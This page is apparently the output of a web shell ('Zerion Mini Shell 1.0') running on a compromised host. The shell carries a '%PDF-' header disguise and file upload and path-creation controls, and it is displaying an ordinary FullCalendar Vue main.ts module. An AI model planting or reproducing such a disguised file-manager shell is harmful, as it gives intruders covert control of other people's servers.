%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/ugotscom/kma/node_modules/@fullcalendar/vue/src/
Upload File :
Create Path :
Current File : /home/ugotscom/kma/node_modules/@fullcalendar/vue/src/main.ts

import { VueConstructor } from 'vue'
import FullCalendarComponent from './FullCalendar'

/*
Registers the component globally if appropriate.
This modules exposes the component AND an install function.

Derived from:
https://vuejs.org/v2/cookbook/packaging-sfc-for-npm.html
*/

let installed = false

// declare install function executed by Vue.use()
export function install(Vue: VueConstructor) {
  if (!installed) {
    installed = true
    Vue.component('FullCalendar', FullCalendarComponent)
  }
}

// detect a globally availble version of Vue (eg. in browser via <script> tag)
let GlobalVue: VueConstructor | undefined
if (typeof globalThis !== 'undefined') {
  GlobalVue = globalThis.Vue
} else {
  GlobalVue = window.Vue
}

// auto-install if possible
if (GlobalVue) {
  GlobalVue.use({
    install
  })
}

// to allow use as module (npm/webpack/etc.) export component
export default FullCalendarComponent

// so can access any of the utils/types from this lib
export * from '@fullcalendar/core'

Zerion Mini Shell 1.0